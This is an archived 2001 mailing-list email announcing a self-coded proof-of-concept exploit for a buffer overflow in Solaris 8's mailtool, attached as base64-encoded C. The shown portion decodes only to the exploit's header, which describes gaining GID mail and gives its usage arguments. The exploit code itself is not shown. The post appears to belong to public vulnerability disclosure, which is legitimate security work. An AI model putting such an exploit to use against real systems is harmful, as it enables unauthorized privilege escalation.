Date: Mon, 2 Jul 2001 17:32:32 +0200
From: "[email protected]" <[email protected]>
To: [email protected]Subject: Solaris mailtool exploit
--_=__=_XaM3_Boundary.994087952.2A.430623.42.15091.52.42.101010.22781
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable
Hello,
Here is a Solaris 8 (x86 and sparc) exploit I've coded
lately, out of an advisory dealing with a bug in the
mailtool utility (see the header of the attached .c file,
it says everything). As far as I know, such an exploit
has not been released so far.
Cheers :)
51
--------------
Profitez de l'offre sp=E9ciale Liberty Surf !
50 h / 95 F TTC par mois tout compris pendant 3 mois
http://register.libertysurf.fr/subscribe_fr/signup.php3
--_=__=_XaM3_Boundary.994087952.2A.430623.42.15091.52.42.101010.22781
Content-Type: application/octet-stream; name="mailt00l.c"
Content-Transfer-Encoding: base64
LyoNCm1haWx0MDBsLmMsIGJ5IDUxIChKdW5lIDIwMDEpDQoNClByb29mIG9mIGNvbmNlcHQg
Y29kZSwgZXhwbG9pdGluZyB0aGUgcmVjZW50bHkgZGlzY292ZXJlZCBidWZmZXIgb3ZlcmZs
b3cNCmluIFNvbGFyaXMgOCAvdXNyL29wZW53aW4vYmluL21haWx0b29sLCB5aWVsZGluZyBH
SUQgbWFpbA0KKGh0dHA6Ly9wYWNrZXRzdG9ybS5zZWN1cmlmeS5jb20vZ3JvdXBzL3N5bm5l
cmd5L21haWx0b29sLWFkdi50eHQpLg0KU2hvdWxkIHdvcmsgd2l0aCBib3RoIHg4NiBhbmQg
U3BhcmMgdmVyc2lvbnMsIHRoeCB0byBjb21waWxhdGlvbiBkaXJlY3RpdmVzLg0KQXMgYSBt
YXR0ZXIgb2YgY291cnNlLCB0aGUgZGVmYXVsdHMgYnVmZmVyc2l6ZSBhbmQgb2Zmc2V0IG1h
eSBuZWVkIHRvIGJlDQp0d2Vha2VkIGEgYml0Lg0KDQpVc2FnZSA6IC4vbWFpbHQwMGwgW2J1
ZmZlcnNpemVdIFtvZmZzZXRdDQoNClNob3V0cyB0byBUcmljayBmb3Ig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